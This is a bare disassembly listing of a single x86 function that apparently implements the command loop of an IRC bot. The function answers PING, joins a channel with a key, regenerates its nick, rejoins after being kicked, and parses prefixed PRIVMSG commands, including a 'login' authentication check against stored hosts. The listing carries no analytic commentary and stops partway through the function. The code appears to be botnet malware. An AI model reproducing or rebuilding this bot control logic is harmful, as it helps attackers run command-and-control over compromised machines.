var_2878	= byte ptr -2878h
var_27F8	= byte ptr -27F8h
var_2778	= dword	ptr -2778h
var_2774	= dword	ptr -2774h
var_2770	= dword	ptr -2770h
var_276C	= dword	ptr -276Ch
var_2768	= dword	ptr -2768h
var_2764	= byte ptr -2764h
var_26E4	= byte ptr -26E4h
var_2664	= byte ptr -2664h
var_25E4	= byte ptr -25E4h
var_2564	= dword	ptr -2564h
var_2560	= dword	ptr -2560h
var_255C	= dword	ptr -255Ch
var_2558	= dword	ptr -2558h
var_2554	= dword	ptr -2554h
var_2550	= byte ptr -2550h
var_244C	= byte ptr -244Ch
var_2348	= dword	ptr -2348h
var_2344	= dword	ptr -2344h
var_2340	= dword	ptr -2340h
var_233C	= byte ptr -233Ch
var_22BC	= dword	ptr -22BCh
var_22B8	= dword	ptr -22B8h
var_22B4	= dword	ptr -22B4h
var_22B0	= byte ptr -22B0h
var_21AC	= dword	ptr -21ACh
var_21A8	= byte ptr -21A8h
var_2128	= byte ptr -2128h
var_2028	= byte ptr -2028h
var_1F28	= dword	ptr -1F28h
var_1F24	= dword	ptr -1F24h
var_1F20	= dword	ptr -1F20h
var_1F1C	= dword	ptr -1F1Ch
var_1F18	= dword	ptr -1F18h
var_1F14	= dword	ptr -1F14h
var_1F10	= dword	ptr -1F10h
var_1F0C	= dword	ptr -1F0Ch
var_1F08	= dword	ptr -1F08h
var_1F04	= dword	ptr -1F04h
var_1F00	= byte ptr -1F00h
var_1E80	= byte ptr -1E80h
var_1D80	= byte ptr -1D80h
var_1C80	= dword	ptr -1C80h
var_1C7C	= dword	ptr -1C7Ch
var_1C78	= dword	ptr -1C78h
var_1C74	= dword	ptr -1C74h
var_1C70	= dword	ptr -1C70h
var_1C6C	= dword	ptr -1C6Ch
var_1C68	= dword	ptr -1C68h
var_1C64	= dword	ptr -1C64h
var_1C60	= dword	ptr -1C60h
var_1C5C	= dword	ptr -1C5Ch
var_1C58	= byte ptr -1C58h
var_1BD8	= byte ptr -1BD8h
var_1B58	= byte ptr -1B58h
var_1AD8	= dword	ptr -1AD8h
var_1AD4	= dword	ptr -1AD4h
var_1AD0	= dword	ptr -1AD0h
var_1ACC	= dword	ptr -1ACCh
var_1AC8	= dword	ptr -1AC8h
var_1AC4	= byte ptr -1AC4h
var_1A44	= byte ptr -1A44h
var_19C4	= byte ptr -19C4h
var_1944	= dword	ptr -1944h
var_1940	= dword	ptr -1940h
var_193C	= dword	ptr -193Ch
var_1938	= dword	ptr -1938h
var_1934	= dword	ptr -1934h
var_1930	= byte ptr -1930h
var_1830	= byte ptr -1830h
var_17B0	= dword	ptr -17B0h
var_17A8	= dword	ptr -17A8h
var_17A4	= dword	ptr -17A4h
var_17A0	= dword	ptr -17A0h
var_179C	= dword	ptr -179Ch
var_1798	= dword	ptr -1798h
var_1794	= dword	ptr -1794h
var_1790	= byte ptr -1790h
var_1710	= byte ptr -1710h
var_16D0	= byte ptr -16D0h
var_15D0	= dword	ptr -15D0h
var_15CC	= dword	ptr -15CCh
var_15C0	= dword	ptr -15C0h
var_15BC	= dword	ptr -15BCh
var_15B8	= dword	ptr -15B8h
var_15B4	= byte ptr -15B4h
var_157C	= byte ptr -157Ch
var_1560	= byte ptr -1560h
var_1528	= byte ptr -1528h
var_1524	= byte ptr -1524h
var_14A4	= byte ptr -14A4h
var_1464	= byte ptr -1464h
var_13D4	= dword	ptr -13D4h
var_13D0	= dword	ptr -13D0h
var_13CC	= dword	ptr -13CCh
var_13C8	= dword	ptr -13C8h
var_13C4	= dword	ptr -13C4h
var_13C0	= byte ptr -13C0h
var_1340	= byte ptr -1340h
var_12C0	= dword	ptr -12C0h
var_12BC	= dword	ptr -12BCh
var_12B8	= dword	ptr -12B8h
var_12B4	= dword	ptr -12B4h
var_12B0	= byte ptr -12B0h
var_12A0	= byte ptr -12A0h
var_1220	= byte ptr -1220h
var_11A0	= dword	ptr -11A0h
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= byte ptr -1180h
var_1100	= byte ptr -1100h
var_1080	= byte ptr -1080h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE4		= dword	ptr -0FE4h
var_FDC		= byte ptr -0FDCh
var_F5C		= byte ptr -0F5Ch
var_EDC		= dword	ptr -0EDCh
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EBC		= dword	ptr -0EBCh
var_EB8		= byte ptr -0EB8h
var_E38		= byte ptr -0E38h
var_DB8		= dword	ptr -0DB8h
var_DB4		= dword	ptr -0DB4h
var_DB0		= dword	ptr -0DB0h
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= dword	ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= dword	ptr -0D98h
var_D94		= byte ptr -0D94h
var_D14		= dword	ptr -0D14h
var_D10		= dword	ptr -0D10h
var_D0C		= dword	ptr -0D0Ch
var_D08		= dword	ptr -0D08h
var_D04		= byte ptr -0D04h
var_C84		= byte ptr -0C84h
var_C74		= byte ptr -0C74h
var_C54		= dword	ptr -0C54h
var_C50		= byte ptr -0C50h
var_BD0		= byte ptr -0BD0h
var_B50		= dword	ptr -0B50h
var_B4C		= dword	ptr -0B4Ch
var_B48		= dword	ptr -0B48h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 4AE8h
		call	sub_418030
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_A8], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_417AA0
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E8B
		push	esi
		lea	eax, [ebp+var_39E8]
		push	ebx
		push	eax
		call	sub_417AA0
		dec	esi
		lea	eax, [ebp+var_39E8]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_39E8]
		push	offset asc_42EF58 ; " :"
		push	eax
		call	sub_417E10
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_39E8]
		push	esi
		push	eax
		lea	eax, [ebp+var_3E4C]
		push	eax
		call	sub_417B00
		mov	esi, offset asc_42EF54 ; " "
		lea	eax, [ebp+var_3E4C]
		push	esi
		push	eax
		call	sub_4185F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A4], 1Fh


loc_401B9A:				; CODE XREF: sub_401AC7+E7j
		push	esi
		push	ebx
		call	sub_4185F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A4]
		pop	ecx
		jnz	short loc_401B9A
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E8B
		cmp	[ebp+var_8C], ebx
		jz	loc_401E8B
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BE8:				; CODE XREF: sub_401AC7+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C14
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C1C
		cmp	[eax+2], bl
		jnz	short loc_401C1C
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C14:				; CODE XREF: sub_401AC7+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BE8


loc_401C1C:				; CODE XREF: sub_401AC7+12Aj
					; sub_401AC7+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C27
		mov	[ebp+var_8], edi


loc_401C27:				; CODE XREF: sub_401AC7+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C35
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C35:				; CODE XREF: sub_401AC7+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C6F
		push	7Fh
		lea	eax, [ebp+var_D04]
		push	esi
		push	eax
		call	sub_417B00
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_C4]
		push	offset dword_4282EC
		push	eax
		call	sub_4185F4
		add	esp, 20h


loc_401C6F:				; CODE XREF: sub_401AC7+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC0
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D64
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		add	esp, 10h
		jmp	loc_401D64
; ---------------------------------------------------------------------------


loc_401CC0:				; CODE XREF: sub_401AC7+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD1
		push	esi
		push	offset a005	; "005"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD1
		push	esi
		push	offset a302	; "302"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2B
		push	offset a@_6	; "@"
		push	[ebp+var_84]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D64
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_417B00
		add	esp, 0Ch
		jmp	short loc_401D64
; ---------------------------------------------------------------------------


loc_401D2B:				; CODE XREF: sub_401AC7+238j
		push	esi
		push	offset a433	; "433"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D6B
		push	ebx
		push	dword_42509C
		push	dword_425098
		push	[ebp+arg_10]
		call	sub_40A19A
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		add	esp, 1Ch


loc_401D64:				; CODE XREF: sub_401AC7+1D8j
					; sub_401AC7+1F4j ...
		mov	eax, edi
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_401D6B:				; CODE XREF: sub_401AC7+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A4], 3
		mov	edi, 80h


loc_401D7D:				; CODE XREF: sub_401AC7+2DBj
		lea	eax, [ebp+var_D04]
		push	eax
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D9A
		mov	[ebp+var_AC], 1


loc_401D9A:				; CODE XREF: sub_401AC7+2C7j
		add	esi, edi
		dec	[ebp+var_A4]
		jnz	short loc_401D7D
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E93
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DC9:				; CODE XREF: sub_401AC7+38Fj
		cmp	[esi], bl
		jz	loc_401E51
		push	7Fh
		lea	eax, [ebp+var_D04]
		push	esi
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E51
		cmp	[ebp+var_84], ebx
		jz	short loc_401E51
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E51
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42EEF4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		add	esp, 20h


loc_401E51:				; CODE XREF: sub_401AC7+304j
					; sub_401AC7+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DC9
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E8B
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E80:				; CODE XREF: sub_401AC7+60Fj
					; sub_401AC7+84Fj ...
		push	[ebp+arg_4]
		call	sub_408C17


loc_401E88:				; CODE XREF: sub_401AC7+208Bj
					; sub_401AC7+20A8j ...
		add	esp, 10h


loc_401E8B:				; CODE XREF: sub_401AC7+5Bj
					; sub_401AC7+F1j ...
		push	1


loc_401E8D:				; CODE XREF: sub_401AC7+25EFj
		pop	eax


loc_401E8E:				; CODE XREF: sub_401AC7+29Fj
					; sub_401AC7+2611j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E93:				; CODE XREF: sub_401AC7+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FE9
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EBC:				; CODE XREF: sub_401AC7+447j
		lea	eax, [ebp+var_D04]
		push	eax
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F09
		lea	eax, [ebp+var_D04]
		push	21h
		push	eax
		call	sub_4184B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F09
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4183B0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4183C0
		add	esp, 10h
		mov	edi, 80h


loc_401F09:				; CODE XREF: sub_401AC7+406j
					; sub_401AC7+41Dj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EBC
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E8B
		cmp	[ebp+arg_24], ebx
		jz	loc_401E8B
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F51
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_417B00


loc_401F49:				; CODE XREF: sub_401AC7+186Aj
		add	esp, 0Ch
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_401F51:				; CODE XREF: sub_401AC7+473j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F56:				; CODE XREF: sub_401AC7+4B0j
		cmp	[edi], bl
		jz	short loc_401F6D
		lea	eax, [ebp+var_D04]
		push	eax
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7E


loc_401F6D:				; CODE XREF: sub_401AC7+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F56
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_401F7E:				; CODE XREF: sub_401AC7+4A4j
		lea	eax, [ebp+var_D04]
		push	21h
		push	eax
		call	sub_4184B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E8B
		push	eax
		call	sub_4176F0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_4176F0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E8B
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_3A4C]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 24h
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_401FE9:				; CODE XREF: sub_401AC7+3DBj
		push	esi
		push	offset aPart	; "PART"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40200B
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402032


loc_40200B:				; CODE XREF: sub_401AC7+531j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402010:				; CODE XREF: sub_401AC7+569j
		cmp	[edi], bl
		jz	short loc_402026
		push	[ebp+var_90]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40207A


loc_402026:				; CODE XREF: sub_401AC7+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402010


loc_402032:				; CODE XREF: sub_401AC7+542j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020DB
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402066
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402066:				; CODE XREF: sub_401AC7+594j
		push	[ebp+var_80]
		push	offset unk_42EEA0


loc_40206E:				; CODE XREF: sub_401AC7+2421j
					; sub_401AC7+27C2j ...
		call	sub_413BD2
		pop	ecx


loc_402074:				; CODE XREF: sub_401AC7+6D7Bj
		pop	ecx
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_40207A:				; CODE XREF: sub_401AC7+55Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42EE7C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_418570
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E8B
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E80
; ---------------------------------------------------------------------------


loc_4020DB:				; CODE XREF: sub_401AC7+57Fj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_418570
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40212F
		push	[ebp+var_8C]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40212F
		push	[ebp+var_8C]
		push	offset dword_42EE68
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx


loc_40211D:				; DATA XREF: .nsp0:off_4282B4o
		jnz	loc_408A45
		cmp	dword_425088, ebx
		jz	loc_408A45


loc_40212F:				; CODE XREF: sub_401AC7+62Ej
					; sub_401AC7+640j
		push	[ebp+var_8C]
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402232
		push	[ebp+var_8C]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402232
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_A8], esi


loc_402173:				; CODE XREF: sub_401AC7+827j
					; sub_401AC7+863j ...
		shl	esi, 2
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_425090
		mov	[ebp+arg_C], edi
		jnz	loc_401E8B
		push	edi
		push	offset aLogin	; "login"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4D
		push	edi
		push	offset dword_42EE64
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4D
		cmp	[ebp+var_AC], ebx
		jnz	short loc_4021E6
		push	[ebp+var_8C]
		push	offset dword_42EE68
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408A45


loc_4021E6:				; CODE XREF: sub_401AC7+703j
		cmp	[ebp+arg_28], ebx
		jnz	loc_408A45
		cmp	dword_4276A0, ebx
		mov	[ebp+arg_20], ebx
		jle	loc_4024D1
		mov	[ebp+arg_8], offset dword_43B9C0


loc_402205:				; CODE XREF: sub_401AC7+764j
		push	edi
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40235A
		inc	[ebp+arg_20]
		add	[ebp+arg_8], 0B8h
		mov	eax, [ebp+arg_20]
		cmp	eax, dword_4276A0
		jl	short loc_402205
		jmp	loc_4024D1
; ---------------------------------------------------------------------------


loc_402232:				; CODE XREF: sub_401AC7+678j
					; sub_401AC7+68Ej
		push	[ebp+var_8C]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40224B
		mov	[ebp+var_4], 1


loc_40224B:				; CODE XREF: sub_401AC7+77Bj
		cmp	[ebp+var_88], ebx
		jz	loc_401E8B
		push	offset dword_4282BC
		push	[ebp+var_88]
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402272
		cmp	[ebp+var_4], ebx
		jz	short loc_40227E


loc_402272:				; CODE XREF: sub_401AC7+7A4j
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40227E:				; CODE XREF: sub_401AC7+7A9j
		cmp	[ebp+var_84], ebx
		jz	loc_401E8B
		inc	[ebp+var_84]
		jz	short loc_4022CA
		cmp	[ebp+arg_10], ebx
		jz	short loc_4022CA
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_4176F0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_418370
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_A8], esi
		jmp	short loc_4022D0
; ---------------------------------------------------------------------------


loc_4022CA:				; CODE XREF: sub_401AC7+7C9j
					; sub_401AC7+7CEj
		mov	esi, [ebp+var_A8]


loc_4022D0:				; CODE XREF: sub_401AC7+801j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E8B
		push	edi
		push	offset dword_42EE58
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402173
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40231B
		mov	eax, dword_4C96C8
		mov	eax, off_425154[eax*4]
		cmp	[eax], bl
		jz	short loc_40231B
		push	eax
		push	ecx
		push	offset dword_42EE3C
		jmp	loc_401E80
; ---------------------------------------------------------------------------


loc_40231B:				; CODE XREF: sub_401AC7+836j
					; sub_401AC7+846j
		push	edi
		push	offset dword_42EE34
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402173
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402173
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402173
		push	eax
		push	ecx
		push	offset dword_42EE1C
		jmp	loc_401E80
; ---------------------------------------------------------------------------


loc_40235A:				; CODE XREF: sub_401AC7+74Bj
		push	offset asc_42EF58 ; " :"
		push	[ebp+arg_0]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E8B
